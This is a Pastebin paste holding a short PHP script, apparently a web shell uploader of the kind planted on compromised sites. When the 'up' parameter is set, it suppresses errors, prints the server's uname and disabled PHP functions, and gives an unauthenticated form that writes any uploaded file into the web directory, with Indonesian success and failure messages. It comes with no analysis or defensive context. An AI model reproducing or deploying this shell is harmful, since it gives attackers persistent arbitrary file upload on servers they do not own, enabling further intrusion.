Advertisement
Guest User

Untitled

a guest
May 27th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. if(isset($_GET["up"]))
  5. {
  6. echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
  7. print "\n";$disable_functions = @ini_get("disable_functions");
  8. echo "DisablePHP=".$disable_functions; print "\n";
  9. echo"<form method=post enctype=multipart/form-data>";
  10. echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
  11. if($_POST["v"]==up)
  12. { if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} }
  13.  
  14. echo 'uname:'.php_uname()."\n";
  15. echo getcwd() . "\n";
  16.  
  17.  
  18. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement